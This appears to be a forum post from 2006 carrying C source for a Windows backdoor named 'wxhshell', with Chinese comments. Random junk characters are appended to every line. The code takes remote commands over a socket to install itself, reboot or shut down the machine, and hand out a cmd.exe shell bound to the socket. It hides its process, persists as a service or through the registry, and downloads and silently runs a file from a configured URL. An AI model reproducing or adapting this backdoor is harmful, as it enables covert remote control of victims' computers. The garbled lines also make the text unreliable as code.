    switch(cmd[0]) { /8Sg<  
  fc'NU(70c  
  // 帮助 faqOGAb  
  case '?': { (Rqn)<<2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CzP?J36W^  
    break; 3` ov?T(H  
  } nLn3kMl4  
  // 安装 b' 1%g}  
  case 'i': { oy I8}s:  
    if(Install()) 5iE-$,7#L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &|;XLRHP}  
    else 3h:"-{MW.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0dv# [  
    break; \,YF['Qq  
    } Ga5O&`h  
  // 卸载 =(ULfz[:  
  case 'r': { ]8)nIT^EP  
    if(Uninstall()) 5PY,}1`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0n5{Wr$  
    else jB+K)NXHL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Cq2<[K#  
    break; !f 7CN<  
    } uJQ#l\t  
  // 显示 wxhshell 所在路径 <:[ P&Y  
  case 'p': { 1#KE4(  
    char svExeFile[MAX_PATH]; (vX+ Yw  
    strcpy(svExeFile,"\n\r"); R`? '|G]P  
      strcat(svExeFile,ExeFile); 0 K T.@P  
        send(wsh,svExeFile,strlen(svExeFile),0); SE%B&8ZD  
    break; m+y5Q&;f  
    } inO)Y]|f  
  // 重启 Nj8 `<Sl  
  case 'b': { 8lG@8tbW^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #t.)4$  
    if(Boot(REBOOT)) JI TQ3UL:W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vrr&Ve  
    else { {Kn:>l$*7  
    closesocket(wsh); xign!=  
    ExitThread(0); B@P +b*%  
    } ?`wO \>y  
    break; X,m6#vLK2  
    } Y?cdm}:Ou  
  // 关机 X?m"86L  
  case 'd': { V)[ta`9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  V6opV&  
    if(Boot(SHUTDOWN)) nVkPYeeT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J2rw4L  
    else { 3v~804kWB  
    closesocket(wsh); JmHEYPt0  
    ExitThread(0); (/x%zmY;/U  
    } nE$8-*BZ_  
    break; u4 ##*m  
    } TqzL]'NS+  
  // 获取shell }$6;g-|HX  
  case 's': { -4  ~(*  
    CmdShell(wsh); TvV_Tz4e  
    closesocket(wsh); yV;_]_EO  
    ExitThread(0); r_m*$r~f  
    break; -0Ws3  
  } a: C h"la  
  // 退出 8SV.giG;  
  case 'x': { Lt\Wz'6Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5u(,g1s}UZ  
    CloseIt(wsh); <1r#hFUUL  
    break; ;+d2qbGd  
    } #$vQT}  
  // 离开 f{s}[p~  
  case 'q': { O$<m(~[S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K9{]v=#I  
    closesocket(wsh); fk*$}f  
    WSACleanup(); !bf8 r  
    exit(1); ^T(v4'7  
    break; t0^chlJP$  
        } p6UPP|-S  
  } qnFi./  
  } 7x 6q:4Ep\  
PVK. %y9  
  // 提示信息 wH?r522`c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8G GC)2  
} 0A]+9@W;  
  } h'Gs$o7#P  
>!o||Yn  
  return; CN7 2 E  
} KwEyMR!  
J|$(O$hYy  
// shell模块句柄 2[^p6s[  
int CmdShell(SOCKET sock) : `Nh}Ka0  
{ Zo=w8Hr  
STARTUPINFO si; O,$ ?Pj6  
ZeroMemory(&si,sizeof(si)); bl/tl_.p00  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @m#1[n;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O r {9?;G  
PROCESS_INFORMATION ProcessInfo; #3fS_;G  
char cmdline[]="cmd"; 6),U(e%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); puv/+!q  
  return 0; =f{)!uW<4  
} vKX6@eg"  
R 4= ~  
// 自身启动模式 Z@Tb3N/[  
int StartFromService(void) p#k>BHgnF  
{ gb_r <j:w  
typedef struct k15fy"+Ut  
{ <i<[TPv";  
  DWORD ExitStatus; #CRAQ#:45(  
  DWORD PebBaseAddress; V_1'` F  
  DWORD AffinityMask; zO@7V>2  
  DWORD BasePriority; nnw5 !q_  
  ULONG UniqueProcessId; pn5A6 #  
  ULONG InheritedFromUniqueProcessId; Mg7nv\6  
}   PROCESS_BASIC_INFORMATION; F. N4Q'2Z  
ZvQ~K(3  
PROCNTQSIP NtQueryInformationProcess; 8y9`xRy  
Cob<N'.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #b^x!lR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e!eUgD  
d]fo>[%Xr  
  HANDLE             hProcess; ")gd)_FOS  
  PROCESS_BASIC_INFORMATION pbi; GjHV|)^  
Qp]-:b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .}xF2'~E/  
  if(NULL == hInst ) return 0; E%+aqA)f  
oU\Q|mN(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y2_^lW%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (] Zyk, [  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); do-mkvk  
oBBL7/L  
  if (!NtQueryInformationProcess) return 0; f@G3,u!]i  
<'Ppu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :J 7p=sX  
  if(!hProcess) return 0; ?PpGBm2f*  
Kuj*U'ed7t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $qvk9 B0E  
CrTGC%w{=  
  CloseHandle(hProcess); 1u%e7  
834E ]2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @)R6!"p  
if(hProcess==NULL) return 0;  Uk2U:  
*5Mg^}ZC5  
HMODULE hMod; O8!> t7x  
char procName[255]; t;^NgkP{$  
unsigned long cbNeeded; Ke 5fe#  
?;q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UNoNsmP  
#3+-vyZm  
  CloseHandle(hProcess); z?b[ 6DLV;  
)bl'' yO  
if(strstr(procName,"services")) return 1; // 以服务启动 z~Ec*  
|aaoi4OJ  
  return 0; // 注册表启动 7H,p/G?]k  
} \v*WI)]  
6+Y^A})(F-  
// 主模块 P%CNu  
int StartWxhshell(LPSTR lpCmdLine) Eps2  
{ {j0c)SETN  
  SOCKET wsl; 0EA<ip  
BOOL val=TRUE; ; aI`4;  
  int port=0; $L@os2  
  struct sockaddr_in door; z 8w&;Ls  
MO1t 0Myc  
  if(wscfg.ws_autoins) Install(); ;Wo\MN  
+!'rw D  
port=atoi(lpCmdLine); /q3]AVV  
eM>f#M  
if(port<=0) port=wscfg.ws_port; #]vy`rv  
 e>FK5rz  
  WSADATA data; UNc[h&@_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H&yK{0H  
ec$kcD!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cb9ndZ)v.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h_SDW %($  
  door.sin_family = AF_INET; D:r+3w:l]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _ @U11|  
  door.sin_port = htons(port); 8M"0o}wx  
?6m6 4{M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |q( .j4[i  
closesocket(wsl); [r)Hm/_=|U  
return 1; XSw!_d  
} X AnN<  
#RyX}t X,  
  if(listen(wsl,2) == INVALID_SOCKET) { gGtl*9a=  
closesocket(wsl); ]V`L\  
return 1; 2$Fy?08q  
} nw)yK%`;M  
  Wxhshell(wsl); U}=o3u  
  WSACleanup(); M^e;WY@ D  
+H'{!:e5  
return 0; &4m\``//9  
pyf/%9R:d  
} }u CC~ <^  
&idPO{G  
// 以NT服务方式启动 j9bn|p$DA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U|NVDuo{{x  
{ X}Oo5SNgff  
DWORD   status = 0; I Ceb2R  
  DWORD   specificError = 0xfffffff; R _c! ,y  
b/yXE)3 X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (B0tgg^jj,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5y1:oiE/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tbNIl cAWS  
  serviceStatus.dwWin32ExitCode     = 0; 3~r>G  
  serviceStatus.dwServiceSpecificExitCode = 0; {cYS0%Go  
  serviceStatus.dwCheckPoint       = 0; zx(=ArCRr  
  serviceStatus.dwWaitHint       = 0; 9/@7NNKJ  
-=+@/@nV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {p70( ]v  
  if (hServiceStatusHandle==0) return; G!^}z (Mgi  
w7;,+Jq  
status = GetLastError(); Q;'{~!=  
  if (status!=NO_ERROR) l1EI4Y9KG  
{ +ROwk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; YyF=u~l  
    serviceStatus.dwCheckPoint       = 0; `u *:wJsv  
    serviceStatus.dwWaitHint       = 0; mfI>1W(  
    serviceStatus.dwWin32ExitCode     = status; DO^K8~]  
    serviceStatus.dwServiceSpecificExitCode = specificError; $?e_ l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q#mw#Uw-  
    return; )[c@5zy~*  
  } ^e 1Ux  
w<0F-0:8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :B(vk3;U!  
  serviceStatus.dwCheckPoint       = 0; \'BA}v &/  
  serviceStatus.dwWaitHint       = 0; "SV#e4C.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0+vt LDq@P  
} _tJm0z!  
-k+}w_<Q  
// 处理NT服务事件,比如:启动、停止 pSzO )j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z|^+uL  
{ E76#xsyhF  
switch(fdwControl) -D4"uoN.  
{ ;ye5HlH}.  
case SERVICE_CONTROL_STOP: &azy1.i~  
  serviceStatus.dwWin32ExitCode = 0; _@gd9Fi7J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |_Tp:][mf  
  serviceStatus.dwCheckPoint   = 0; sgc pH  
  serviceStatus.dwWaitHint     = 0; E;m-^dxc  
  { Ow@ }6&1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }1sFddGVt  
  } '&OJ hLE  
  return; rZK;=\Ot  
case SERVICE_CONTROL_PAUSE: 4|]0%H~n6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [|&V$  
  break; ZliJc7lss  
case SERVICE_CONTROL_CONTINUE: `L=d72:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [@PD[-2QG3  
  break; >,&@j,?']  
case SERVICE_CONTROL_INTERROGATE: 65>1f  
  break; ;4!,19AT  
}; | k:ecw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bRhc8#kw)  
} T"tR*2HwSd  
$1F$3"k  
// 标准应用程序主函数 G 5T{*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !L=RhMI  
{ b":3J)Y6.  
6N<v&7cSB  
// 获取操作系统版本 2jUEL=+Y  
OsIsNt=GetOsVer(); FD+y?UF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \?VNr2   
.:nV^+)  
  // 从命令行安装 C~ r(*nr  
  if(strpbrk(lpCmdLine,"iI")) Install(); A.%MrgOOX  
,?k~>,{3  
  // 下载执行文件 ,*r}23  
if(wscfg.ws_downexe) { z87_/(nu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  u51%~  
  WinExec(wscfg.ws_filenam,SW_HIDE); qTA,rr#p0  
} /M3UK  
U =G}@Y  
if(!OsIsNt) { ?C6DK{S(  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^F e %1Lnt  
HideProc(); v RR(b!Lq  
StartWxhshell(lpCmdLine); vK10p)ZV  
} 9bxBm  
else e-`=?tct  
  if(StartFromService()) m,"N 4a@  
  // 以服务方式启动 tS@J)p+_(  
  StartServiceCtrlDispatcher(DispatchTable); dh~ cj5  
else B9[eLh!  
  // 普通方式启动 dHUcu@,  
  StartWxhshell(lpCmdLine); CU7WK}2h2C  
_^(}6o  
return 0; ,+Bp>=pvs  
}
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只看该作者 1 发表于: 2006-10-10
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